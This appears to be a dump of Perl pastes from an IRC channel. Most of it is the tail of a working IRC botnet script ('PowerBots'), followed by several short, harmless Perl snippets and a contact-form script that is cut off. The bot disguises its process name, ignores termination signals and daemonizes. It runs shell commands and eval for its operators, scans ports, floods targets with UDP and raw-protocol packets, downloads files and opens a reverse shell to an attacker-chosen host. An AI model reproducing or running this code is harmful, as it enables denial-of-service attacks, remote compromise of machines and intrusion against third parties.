   "\001ircN 7.27 + 7.0 - -\001","\001..(argon/1g) :bitchx-1.0c17\001",
   "\001ircN 8.00 - he tries to tell me what I put inside of me -\001",
   "\001FreeBSD!4.11-STABLE bitchx-1.0c18 - prevail[0123] :down with people\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.31 : Keep it to yourself!\001",
   "\001BitchX-1.0c19+ by panasync - Linux 2.4.33.3 : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - Linux 2.6.18.1 : Keep it to yourself!\001",
   "\001BitchX-1.0c19 by panasync - freebsd 4.10-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 4.5-STABLE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 6.0-RELEASE : Keep it to yourself!\001",
   "\001BitchX-1.1-final+ by panasync - FreeBSD 5.3-RELEASE : Keep it to yourself!\001",
   "\001bitchx-1.0c18 :tunnelvision/1.2\001","\001PnP 4.22 - http://www.pairc.com/\001",
   "\001BitchX-1.0c17/FreeBSD 4.10-RELEASE:(c)rackrock/bX [3.0.1??9] : Keep it to yourself!\001",
   "\001P&P 4.22.2 (in development) + X Z P Bots, Sound, NickServ, ChanServ, Extras\001",
   "\001HydraIRC v0.3.148 (18/Jan/2005) by Dominic Clifton aka Hydra - #HydraIRC on EFNet\001",
   "\001irssi v0.8.10 - running on Linux i586\001","\001irssi v0.8.10 - running on FreeBSD i386\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.6mods v1.0 by acidflash - Almost there\001",
   "\001ircII 20050423+ScrollZ 1.9.5 (19.12.2004)+Cdcc v1.8+OperMods v1.0 by acidflash - Almost there\001");

# Default quick scan ports
my @portas=("21","22","23","25","53","80","110","113","143","3306","4000","5900","6667","6668","6669","7000","10000","12345","31337","65501");

# xeQt

#my $nick = "Power";
my $nick = $nickname[rand scalar @nickname];
my $realname = $xname[rand scalar @xname];
my $ircname = $xident[rand scalar @xident];
my $porta = $rports[rand scalar @rports];
my $xproc = $fakeps[rand scalar @fakeps];
my $Mrx = $Mrx[rand scalar @Mrx];
my $version = 'PowerBots (C) GohacK';
my $echo = "`echo` $1";

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';





use IO::Socket;
use Socket;
use IO::Select;
chdir("$homedir");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$xproc"."\0";
my $pid=fork;
exit if $pid;
die "[x] -> Cannot fork into background: $!" unless defined($pid);
my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

sub getnick {
  return "$nickname[rand scalar @nickname]".int(rand(20000));
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}
sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}
sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path\n";

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => $port, Proto   => 'tcp', Timeout  => 60) || return;

  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;
  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") {
      $b1 = $buf;
      $buf =~ s/.+?\015?\012\015?\012//s;
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);
  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result\n$b1\n";
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/) {
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }
  return $buf;
}
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}
sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];
   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;
     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);
     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);
     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $hostnam3=$3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "".$Mrx."");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       if (grep {$_ =~ /^\Q$hostnam3\E$/i } @hostauth) {
       if (grep {$_ =~ /^\Q$pn\E$/i } @mast3rs) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
        }
    if ($args =~ /^!(.*)/){
       ircase("$pn","$chan","$1");
    }
        if ($args =~ /^(\Q$meunick\E|\Q$xeqt\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1");
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
          }
        } 
      }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("".$meunick."-");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@admchan){
         sendraw("JOIN $canal muietie");
       }
   }
}
sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork)
       {
         exit;
       }
   else
   {
      # Quick scan
           if ($funcarg =~ /^ps (.*)/) {
             my $hostip="$1";
        sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Portscanning\003\002: $1 \002\00312Ports:\003\002 default");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Port Scan Complete with target: $1 ");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :\002[x]\0034 No open ports found on\002 $1");
             }
           }
      # NMAP, lol
           elsif ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/)
      {
              my $hostname="$1";
              my $portstart = "$2";
               my $portend = "$3";
               my (@abertas, %porta_banner);
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312xMap Portscanning\003\002: $1 \002\00312Ports:\003\002 $2-$3");
               foreach my $porta ($portstart..$portend)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($xstats)
       {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Found: $porta"."/Open");
                 }
               }
             }
             if (@abertas) {
          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312Scan Complate\003\002");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :\002\00312No ports found..\002");
             }
            }
      # Remove
      elsif ($funcarg =~ /^rm/)
      {
         system("cd /var/tmp ; rm -rf cb find god* wunder* udev* lib*");
      sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Quickdel)\002\00314 Removed files and folders ");
      }
      # Version
      elsif ($funcarg =~ /^version/)
      {
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Version)\002\00314 $version ");
      }
      # Download
           elsif ($funcarg =~ /^down\s+(.*)\s+(.*)/)
      {
              getstore("$1", "$2");
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(Download)\002\00314 Page: $2 (File: $1)") if ($xstats);
           }
       # Udp
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP DDoSing)\003 Attacking\002: $1 - \002Time\002: $tempo"."seconds");
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($xstats)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002\00312(UDP Complete):\003\002 $1 - \002Sendt\002: $pacotese"."kb - \002Time\002: $tempo"."seconds");
             }
            }

       # Backconnect
            elsif ($funcarg =~ /^back\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
         sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[x] ->\0034 Injection ...");
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
         system("cd /tmp/.mrx");
              close(STDIN);
              close(STDOUT);
              close(STDERR);
            }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^echo/) {
      system("echo $meunick > `pwd`/botnick");
      msg("done");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^jump\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^rj\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^rp\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^quit/) {
     quit();
   }
   elsif ($case =~ /^rand/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =~ /^stat (.*)/) {
     if ($1 eq "on") {
      $xstats = 1;
      msg("$printl", "Satus enabled");
     } elsif ($1 eq "off") {
      $xstats = 0;
      msg("$printl", "Status disable");
     }
   }
   elsif ($case =~ /^bang (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "[x] Bang mode enabled") if ($xstats == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "[x] Bang mode disabled") if ($xstats == "1");
     }
   }
}
sub shell {
  return unless $shellaccess;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "cd: $1".": No such file or directory");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}
sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}
sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}
sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }
sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}
sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}
sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }
sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

package DCC;
sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};
     my $msg;
     my $nread = sysread($fh, $msg, 10240);
     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }
     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}

sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }
  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;
  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));
  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }
  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;
  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;
  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }
  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }
  return(0);
}

sub fixaddr {
    my ($address) = @_;

    chomp $address;
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}


where: localhost:perlbot-magnet:#perl
paste:
sub setload {
  open( my $handle, '<', '~/goteams.txt');
  chomp(my @goteams = <$handle>);
  close $handle;
  push @ret, "Go Database Loaded.";
  return @ret;

}


where: localhost:perlbot:#perl
paste:
#!/bin/perl

use warnings;
use strict;

use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/cat.jpg";
$read_image->read(file=>$image_source)
  or die $!;
 
 
my $scaled_image = $read_image->scaleX(pixels=>100)->scaleY(pixels=>100);
 
$scaled_image->box(xmin => 20, ymin => 20, xmax => 79, ymax => 79,
            filled => 1, color => 'green');
 
$scaled_image->write(file=>'tutorial3.ppm')
   or die $!;


where: localhost:perlbot:#perl
paste:
use strict;
use warnings;
use Parse::RecDescent;
use Data::Dumper;

my $parser = new Parse::RecDescent(q{
	function: name '(' parameter(s? /,/) ')' ';' { $return = { name => $item[1], params => $item[3] }; }
	parameter: name name                         { $return = { name => $item[1], type => $item[2] }; }
	name: /[a-z][a-z0-9]*/i
});

print Dumper $parser->function('hello(onlyone);');


where: localhost:perlbot:#perl
paste:
use Modern::Perl '2015';
use autodie;
use Bot::BasicBot;

# defaults
my $bot = Bot::BasicBot->new(
    server   => 'irc.efnet.fr',
    port     => '6667',
    channels => [ "#channel" ],

    nick      => 'basicccc',
    alt_nicks => [ 'basiccc', 'basebene' ],
    username  => 'basicbot',
    name      => 'The most basic of bots'
);

$bot->run();

sub said {
    my $self = shift;
    my $message = shift;
    my $body = $message->{body};
    $self->reply($message, 'contents of message');


who: nightfrog
where: localhost:perlbot:#perl
paste:
use strict;
use warnings;

my @array = qw/one two three four five/;

#if( grep{ $_ =~ /^\QFsoUr\E\z/i } @array )
if( grep{ fc( $_ ) eq fc( 'FoUr' ) } @array )
{
    print 'success' . "\n";
}

1;


who: brimonk
where: localhost:perlbot:#perl
paste:
#!/usr/bin/env perl
# Sat Feb 25, 2017 09:23
# A script to pull contact-me data from the form at chrzanowski.me/contact.html
# Note : Because there isn't any kind of SQL involved, we don't need to parse
# the data. I'm just sticking it into a textfile. The format can be read
# below

use warnings;
use strict;

use CGI;
use Data::Dumper;

# Get logging information
my $USER = "brian";
my ($login, $pass, $uid, $gid) = getpwnam($USER);
my $filename = "contact_form.txt";


# begin the CGI magic
my $q = CGI->new;

# process the HTTP request
my %data;
# $data{name}    = $q->param('fullname');
$data{name}    = $q->param('fullname');
$data{email}   = $q->param('email');
$data{subject} = $q->param('subject');
$data{textbox} = $q->param('message');


# print out the data to the file
open (FILE, ">>", $filename) || print $!;

print FILE "Name  : ", $data{name},    "\n";
print FILE "Email : ", $data{email},   "\n";
print FILE "Subj  : ", $data{subject}, "\n";
print FILE "Text  : ", $data{textbox}, "\n\n";
print FILE Dumper \%data;

chown $uid, $gid, $filename;
close (FILE);


print $q->header;

print Dumper \%data;



# redirect the person to the success page!


paste:
use Mojolicious::Lite;
use Data::Dumper;

# Get logging information
my $USER = "brian";
my ($login, $pass, $uid, $gid) = getpwnam($USER);
my $filename = "contact_form.txt";

get '/' => sub {
    my $c = shift;
    my %data;
    # $data{name}    = $q->param('fullname');
    $data{name}    = $c->param('fullname');
    $data{email}   = $c->param('email');
    $data{subject} = $c->param('subject');
    $data{textbox} = $c->param('message');
    
    
    # print out the data to the file
    open (my $fh, ">>", $filename) || print $!;
    
